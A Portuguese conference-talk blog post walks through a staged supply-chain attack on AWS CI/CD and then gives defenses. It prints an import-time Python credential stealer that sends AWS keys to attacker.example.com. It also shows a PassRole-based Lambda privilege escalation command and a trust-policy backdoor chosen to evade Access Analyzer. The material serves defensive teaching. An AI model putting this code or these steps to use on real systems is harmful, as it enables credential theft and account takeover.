De pip install a Root: anatomia de um ataque de supply chain na AWS

Mon, 29 Jun 2026 09:00:00 -0300

A cena é familiar: você adiciona uma dependência no requirements.txt do seu pipeline de CI/CD, roda pip install, e o instalador termina sem warnings, com todas as dependências resolvidas. Cinco minutos depois, alguém na internet está autenticado na sua conta AWS, montou uma Lambda com permissões administrativas e fez dump da tabela de PII de clientes, e você não rodou mais nada nesse intervalo além daquele único pip install.

Eu mostrei exatamente isso ao vivo no AWS Community Day Brasil 2026 no último sábado 27 de junho. O evento foi sensacional, muito bem organizado e fiquei bem feliz por ver tantas pessoas querendo ganhar conhecimento em AWS. Este post é o passo a passo do ataque e o passo a passo da defesa.

Por que isso importa

Ataques de supply chain têm crescido ano sobre ano com regularidade publicada por relatórios da indústria, e o incidente do LiteLLM em março de 2026 é um exemplo público recente que ilustra o padrão: o pacote litellm no PyPI foi comprometido durante uma janela de aproximadamente cinco horas, com um credential stealer publicado em duas versões maliciosas (1.82.7 e 1.82.8) que executavam no momento do import litellm, vazando chaves AWS, chaves SSH e tokens de orquestração para infraestrutura controlada pelos atacantes em todos os ambientes que fizeram pip install litellm durante a janela sem version pinning. A própria LiteLLM publicou disclosure do incidente em docs.litellm.ai/blog/security-update-march-2026 com IoCs documentados e janela de comprometimento confirmada.

O detalhe que costuma passar batido nessa categoria de ataque é que o alvo são identidades de CI/CD especificamente, não as credenciais de aplicação em produção. CI/CD é onde estão as identidades mais privilegiadas do ambiente, porque pipelines de deploy precisam criar Lambdas, atualizar policies e fazer PassRole para uma variedade grande de roles, o que dá a essas identidades um IAM access mais largo do que qualquer aplicação em produção. Ao mesmo tempo, esses mesmos pipelines rodam código de terceiros (pacotes do PyPI, do npm) de forma rotineira como parte do build, o que cria a superfície de ataque exata: privilégio alto combinado com execução de código não auditado.

A função IAM que processa o seu deploy provavelmente tem iam:PassRole em Resource: * e iam:UpdateAssumeRolePolicy, porque a alternativa de mapear cada PassRole específico que algum deploy futuro pode precisar é trabalhosa e raramente é feita corretamente em pipelines maduros. Se um pacote malicioso conseguir executar dentro dessa função, ele herda essas permissões e usa elas a favor dele, o que significa que você acabou de dar root para alguém que nunca interagiu diretamente com a sua infraestrutura.

A diferença pra outros tipos de breach é que aqui você não foi hackeado por um atacante externo que descobriu uma vulnerabilidade na sua aplicação. Você instalou voluntariamente o seu próprio compromisso, com pip install, executando o exato mesmo comando que vai rodar mais cem vezes nos próximos meses sem nunca disparar uma única revisão.

A kill chain ao vivo

Na demo eu rodei a cadeia completa em três terminais coloridos lado a lado: vítima em verde, atacante em vermelho, defensor em ciano. Os oito passos abaixo seguem a ordem cronológica da execução, com o detalhe técnico do que acontece em cada um.

1. Vítima instala um pacote. O pacote chamado aws_lambda_utils_helpers parece um helper utilitário para funções Lambda, com nome plausível o suficiente para passar despercebido em uma code review de dependências:

1

pip install aws_lambda_utils_helpers

A instalação termina sem warnings, scanners de pacotes baseados em assinaturas conhecidas não detectam nada porque o pacote é novo o suficiente para não ter sido catalogado ainda, e o setup.py não contém nada visivelmente malicioso para quem fizer uma inspeção rápida.

2. O código importa o módulo. Quando a aplicação faz from lambda_helpers import format_response durante a execução real (em uma Lambda, em um container ECS, ou no runner de CI/CD), o Python executa o __init__.py do pacote antes de devolver o módulo importado, e é nesse momento que o payload é executado, não durante o pip install original, que apenas copia arquivos para o filesystem sem invocar nenhum código de aplicação.

O conteúdo do __init__.py em uma versão simplificada para o post:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


import os, socket, json, threading

def _exfil():
 creds = {
 "key": os.environ.get("AWS_ACCESS_KEY_ID"),
 "secret": os.environ.get("AWS_SECRET_ACCESS_KEY"),
 "token": os.environ.get("AWS_SESSION_TOKEN"),
 }
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect(("attacker.example.com", 4444))
 s.send(json.dumps(creds).encode())

threading.Thread(target=_exfil, daemon=True).start()

A escolha de uma thread daemon é deliberada, porque o processo principal segue normalmente, a aplicação responde com latência esperada e nenhum efeito observável aparece nos logs da Lambda, enquanto as credenciais vazam em paralelo por TCP raw para o endpoint controlado pelo atacante.

3. As variáveis de ambiente já estão lá. Em toda Lambda, todo container ECS, todo deploy runner de CI/CD, as credenciais STS estão expostas como variáveis de ambiente porque é a forma padrão que o SDK e o CLI da AWS consomem credenciais nesses contextos. O pacote malicioso só precisa ler os.environ, sem necessidade de explorar vulnerabilidade no host nem de escalar privilégio no nível do sistema operacional, porque as credenciais já estão entregues pelo runtime exatamente no formato que o código de exfiltração precisa.

4. Atacante valida o que recebeu. Do lado do atacante, um nc -l 4444 captura o JSON que chega pelo socket, e o primeiro reflex é rodar aws sts get-caller-identity com as credenciais capturadas, confirmando que está autenticado como cicd-deploy-role e validando que o token STS ainda está ativo dentro do TTL de uma hora antes de prosseguir.

5. Reconhecimento. O atacante roda enumeração para mapear o que essa identidade pode fazer: quais Lambda functions já existem, quais roles têm permissões administrativas, e quais dessas roles confiam em lambda.amazonaws.com no trust policy e portanto podem ser executadas via Lambda. Um padrão muito comum em contas de produção é existir pelo menos uma role legada com AdministratorAccess que confia em Lambda, geralmente criada para algum projeto antigo ou em algum momento em que alguém precisou debugar algo “rápido” e nunca foi removida depois. Vou chamar essa role de data-pipeline-role.

6. PassRole + CreateFunction = admin. O CI/CD identity tem iam:PassRole on * porque pipelines de deploy precisam fazer PassRole para Lambdas variadas, e tem lambda:CreateFunction pela mesma razão. O atacante combina os dois em uma única chamada que cria uma Lambda nova passando a data-pipeline-role como execution role:

1
2
3
4
5
6


aws lambda create-function \
 --function-name exfil \
 --role arn:aws:iam::123456789012:role/data-pipeline-role \
 --runtime python3.12 \
 --handler index.handler \
 --zip-file fileb://payload.zip

A Lambda agora executa como data-pipeline-role, que carrega AdministratorAccess via trust policy de Lambda, e invocar a função dispara o payload do atacante com permissões totais na conta AWS. Em menos de 30 segundos depois do import malicioso, o atacante tem o equivalente operacional a admin na conta.

7. Smash and grab. O payload da Lambda escaneia a tabela DynamoDB de clientes e dumpa as linhas de PII de volta para o endpoint do atacante. Na demo do Community Day eu mostrei 8 registros, mas o mesmo código funciona com 8 milhões, dado que a Lambda paga pelo seu próprio compute e o atacante não usa nem um byte de quota da conta dele para o processamento. Cinco minutos do pip install original até as linhas de PII saindo da sua conta AWS pelo socket de exfiltração.

8. Persistência. O atacante sabe que as credenciais STS de CI/CD têm TTL de uma hora e que daqui a pouco ele perde acesso pela rotação natural do token, então enquanto ainda tem as credenciais de CI/CD ativas (que carregam iam:UpdateAssumeRolePolicy no policy, exatamente a permissão que o passo 6 não chegou a usar), ele edita o trust policy da data-pipeline-role para confiar em uma role que ele controla, que pode ser uma role em uma conta dele ou, no padrão mais sofisticado, uma role same-account com uma sts:ExternalId condition específica. Quando as credenciais originais expirarem pela rotação, o backdoor continua plantado, e ele consegue voltar pela porta dos fundos assumindo essa role-de-trás a qualquer momento futuro.

A escolha de same-account com ExternalId condition é deliberada para evitar detecção, porque detectores de “external trust” como o AWS Access Analyzer disparam alerta quando uma role passa a confiar em um principal de outra conta ou em *, mas trust de same-account com Principal específico e ExternalId condition passa direto pelos heurísticos desses scanners. Você não vê alarme no console, o time de segurança não recebe ticket automático, e a persistência fica plantada esperando o atacante voltar quando quiser.

Três camadas de defesa

Nenhuma das camadas abaixo bloqueia 100% dos ataques sozinha, mas implementadas em conjunto elas bloqueiam algo em torno de 90% dos ataques desse padrão específico. Eu listo na ordem do mais cedo no kill chain para o mais tarde, porque o ROI da defesa cai conforme você atrasa a detecção dentro da cadeia.

Camada 1: higiene de supply chain. O ataque só funciona se o pacote malicioso entrar na sua build, então a primeira camada controla exatamente o que entra:

Cooldowns em pacotes novos, com versões publicadas há menos de N dias (eu uso 7 como default) bloqueadas no seu proxy interno de pacotes (Nexus, Artifactory, ou AWS CodeArtifact), porque atacantes precisam que o pacote seja instalado rapidamente depois do compromise para capturar o máximo de credenciais antes do PyPI remover o pacote do registry. Um cooldown de uma semana derrota a janela de oportunidade desses ataques.
Pin de versão estrito, com aws_lambda_utils_helpers==1.2.3 em vez de aws_lambda_utils_helpers>=1.2.0, combinado com hash check no requirements.txt ou no equivalente do seu gerenciador (Poetry lock, package-lock.json, etc.), garantindo que o build de hoje vai consumir exatamente o mesmo pacote que o build de ontem em vez de aceitar silenciosamente uma versão nova publicada nesse meio tempo.
Audit dos imports recentes, que não é review do que está no requirements.txt há anos (o catálogo histórico), mas review do que entrou no requirements.txt semana passada, quem adicionou, e por quê. A maior parte do risco está concentrada nos imports novos, não nos imports antigos que já passaram por múltiplos builds e múltiplos olhos.

Camada 2: identity hardening. Se o pacote malicioso já está rodando dentro do seu Lambda ou container CI, a defesa precisa ser IAM, e foca em duas mudanças específicas no policy do CI/CD identity:

Escope iam:PassRole para um conjunto fechado de roles seguras em vez de Resource: *, idealmente uma role única (cicd-lambda-safe-role) que carrega apenas as permissões mínimas necessárias para execução de Lambdas de aplicação. Com PassRole escopado dessa forma, a data-pipeline-role (que tem AdministratorAccess via legado) simplesmente não está no conjunto de roles que o atacante pode passar para uma função Lambda nova, e a escalada para admin falha com AccessDenied no momento do CreateFunction.
Remova iam:UpdateAssumeRolePolicy do policy do CI/CD, porque pipelines legítimos quase nunca precisam modificar trust policies de roles existentes. Eles criam roles novas, sim, mas modificar trust de uma role que já existe é uma operação rara e suspeita por padrão, e quando você remove essa permissão a persistência via backdoor de trust policy quebra no passo 8 da cadeia.

Essas duas mudanças no JSON do policy do CI/CD quebram o kill chain inteiro a partir do passo 4: PassRole escopado bloqueia a escalada para admin no momento de criar a Lambda exfiltradora, e UpdateAssumeRolePolicy removido bloqueia a persistência por backdoor. O atacante ainda consegue rodar a exfiltração inicial de credenciais (passos 1 a 4 da cadeia), mas perde a capacidade de transformar isso em comprometimento total da conta.

Camada 3: runtime detection. Mesmo com as duas camadas anteriores aplicadas, você não deve confiar que o policy está perfeitamente escrito, e portanto monitora a execução real:

CloudTrail e Athena (ou o equivalente da sua stack de observabilidade) com alarme em CreateFunction ou UpdateFunctionConfiguration chamado por uma identidade de CI/CD em produção fora da janela esperada de deploy. Em uma conta saudável, esses eventos têm frequência baixa e perfil temporal previsível, então qualquer chamada fora desse perfil tem sinal alto e merece investigação imediata.
Alarme em UpdateAssumeRolePolicy sem exceção. Esse evento é raríssimo em uma conta de produção bem operada, e qualquer ocorrência merece olhada humana imediata mesmo quando vem de uma identidade conhecida, porque é exatamente o evento que sinaliza tentativa de persistência por backdoor de trust policy.
Network egress monitoring no nível de Lambda Functions e ECS tasks, porque conexões TCP raw saindo para IPs não-AWS são suspeitas por padrão. Ferramentas como AWS Network Firewall ou tooling de DPI no VPC permitem alarmar ou bloquear esse padrão antes que as credenciais saiam efetivamente do perímetro.

Você já foi comprometido?

Se você está lendo isso e suspeita que pode ter sido afetado por um ataque parecido nos últimos meses, três queries imediatas pra rodar no CloudTrail antes de continuar: (1) chamadas de iam:CreateFunction ou iam:UpdateAssumeRolePolicy saindo do seu CI/CD identity fora da janela de deploy esperada nos últimos 90 dias, (2) sts:AssumeRole recente vindo de IPs fora dos ranges AWS conhecidos, e (3) modificações em trust policy de roles que carregam permissões administrativas. Qualquer um desses três sinais é razão para acionar o time de segurança e rotacionar credenciais antes de fazer qualquer outra coisa.

Três ações pra segunda-feira

Você terminou de ler o post, e o post só tem valor real se você fizer alguma coisa concreta com ele. Aqui estão três ações que você pode executar na segunda-feira de manhã:

1. Liste as roles que têm iam:PassRole com Resource: * usando a sua ferramenta preferida (AWS CLI, Steampipe, CloudQuery, Access Analyzer, ou o que sua organização padronizou para inventário de IAM). Você provavelmente vai descobrir que mais de uma role tem essa permissão tão aberta, e a recomendação é começar pelas identidades de CI/CD porque são as que mais expõem você ao padrão de ataque descrito neste post.

2. Liste as roles que têm iam:UpdateAssumeRolePolicy com a mesma ferramenta, e para cada uma delas faça a pergunta direta: essa role realmente precisa dessa permissão em produção, ou ela foi concedida em algum momento por conveniência e nunca foi reavaliada depois? A resposta correta para quase todas é “não precisa”, e a ação correspondente é remover.

3. Audita os pacotes que entraram no seu requirements.txt ou no package.json nos últimos 30 dias, e para cada pacote novo responda: foi publicado quando? Por qual autor? O autor tem outras publicações antes desta? O pacote tem versões anteriores históricas, ou é versão única recente sem histórico de releases? Pacotes que se encaixam no perfil de “versão única, recente, autor sem histórico” merecem investigação manual cuidadosa antes de você aprovar o próximo build com eles incluídos no requirements.

O trabalho total fica em torno de três horas, considerando que você gasta uma hora em cada ação acima. Custo: três horas de tempo de engenharia. Proteção: 90%+ dos ataques de supply chain do formato descrito neste post bloqueados estruturalmente. É provavelmente o melhor ROI de segurança que você consegue produzir esse mês com o tempo de engenharia disponível na sua agenda.

Slides e demo

A apresentação completa com os 11 slides e a demo ao vivo dos três terminais está disponível como deck navegável: Deck completo da apresentação. Use as setas do teclado para navegar entre slides, e a tecla F para fullscreen.

Até a próxima, Leo